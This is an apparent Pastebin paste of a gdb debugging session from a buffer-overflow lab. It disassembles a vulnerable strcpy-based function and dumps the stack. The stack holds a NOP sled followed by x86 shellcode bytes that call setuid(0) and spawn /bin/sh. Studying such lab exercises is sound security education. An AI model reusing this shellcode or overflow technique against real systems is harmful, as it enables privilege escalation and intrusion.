Advertisement
Guest User

Untitled

a guest
Feb 26th, 2020
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 4.05 KB | None | 0 0
  1. root@VM:/home/seed/lab2# gdb --quiet mystack
  2. Reading symbols from mystack...(no debugging symbols found)...done.
  3. (gdb) dissasemble bof
  4. Undefined command: "dissasemble".  Try "help".
  5. (gdb)
  6. (gdb) disassemble bof
  7. Dump of assembler code for function bof:
  8.    0x080484bb <+0>: push   %ebp
  9.    0x080484bc <+1>: mov    %esp,%ebp
  10.    0x080484be <+3>: sub    $0x18,%esp
  11.    0x080484c1 <+6>: sub    $0x8,%esp
  12.    0x080484c4 <+9>: pushl  0x8(%ebp)
  13.    0x080484c7 <+12>:    lea    -0x14(%ebp),%eax
  14.    0x080484ca <+15>:    push   %eax
  15.    0x080484cb <+16>:    call   0x8048370 <strcpy@plt>
  16.    0x080484d0 <+21>:    add    $0x10,%esp
  17.    0x080484d3 <+24>:    mov    $0x1,%eax
  18.    0x080484d8 <+29>:    leave  
  19.    0x080484d9 <+30>:    ret    
  20. End of assembler dump.
  21. (gdb) b *0x080484c4
  22. Breakpoint 1 at 0x80484c4
  23. (gdb) i r &ebp
  24. The program has no registers now.
  25. (gdb) i r $ebp
  26. The program has no registers now.
  27. (gdb) r
  28. Starting program: /home/seed/lab2/mystack
  29. [Thread debugging using libthread_db enabled]
  30. Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
  31.  
  32. Breakpoint 1, 0x080484c4 in bof ()
  33. (gdb) i r $ebp
  34. ebp            0xbfffebc8   0xbfffebc8
  35. (gdb) x/50xb 0xbfffeccc
  36. 0xbfffeccc: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  37. 0xbfffecd4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  38. 0xbfffecdc: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  39. 0xbfffece4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  40. 0xbfffecec: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  41. 0xbfffecf4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  42. 0xbfffecfc: 0x90    0x90
  43. (gdb) x/500xb 0xbfffeccc
  44. 0xbfffeccc: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  45. 0xbfffecd4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  46. 0xbfffecdc: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  47. 0xbfffece4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  48. 0xbfffecec: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  49. 0xbfffecf4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  50. 0xbfffecfc: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  51. 0xbfffed04: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  52. 0xbfffed0c: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  53. 0xbfffed14: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  54. 0xbfffed1c: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  55. 0xbfffed24: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  56. 0xbfffed2c: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  57. 0xbfffed34: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  58. 0xbfffed3c: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  59. 0xbfffed44: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  60. 0xbfffed4c: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  61. 0xbfffed54: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  62. 0xbfffed5c: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  63. 0xbfffed64: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  64. 0xbfffed6c: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  65. 0xbfffed74: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  66. 0xbfffed7c: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  67. 0xbfffed84: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  68. 0xbfffed8c: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  69. 0xbfffed94: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  70. 0xbfffed9c: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  71. 0xbfffeda4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  72. 0xbfffedac: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  73. 0xbfffedb4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  74. 0xbfffedbc: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  75. 0xbfffedc4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x31
  76. 0xbfffedcc: 0xc0    0x31    0xdb    0xb0    0xd5    0xcd    0x80    0x31
  77. 0xbfffedd4: 0xc0    0x50    0x68    0x2f    0x2f    0x73    0x68    0x68
  78. 0xbfffeddc: 0x2f    0x62    0x69    0x6e    0x89    0xe3    0x50    0x53
  79. 0xbfffede4: 0x89    0xe1    0x99    0xb0    0x0b    0xcd    0x80    0x00
  80. 0xbfffedec: 0x88    0xfa    0x04    0x08    0xdc    0xc3    0xf1    0xb7
  81. 0xbfffedf4: 0x10    0xee    0xff    0xbf    0x00    0x00    0x00    0x00
  82. 0xbfffedfc: 0x37    0x26    0xd8    0xb7    0x00    0xc0    0xf1    0xb7
  83. 0xbfffee04: 0x00    0xc0    0xf1    0xb7    0x00    0x00    0x00    0x00
  84. 0xbfffee0c: 0x37    0x26    0xd8    0xb7    0x01    0x00    0x00    0x00
  85. 0xbfffee14: 0xa4    0xee    0xff    0xbf    0xac    0xee    0xff    0xbf
  86. 0xbfffee1c: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
  87. 0xbfffee24: 0x00    0x00    0x00    0x00    0x00    0xc0    0xf1    0xb7
  88. 0xbfffee2c: 0x04    0xfc    0xff    0xb7    0x00    0xf0    0xff    0xb7
  89. 0xbfffee34: 0x00    0x00    0x00    0x00    0x00    0xc0    0xf1    0xb7
  90. 0xbfffee3c: 0x00    0xc0    0xf1    0xb7    0x00    0x00    0x00    0x00
  91. 0xbfffee44: 0xac    0xb4    0x8a    0x6a    0xbc    0x7a    0x1d    0x25
  92. ---Type <return> to continue, or q <return> to quit---
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement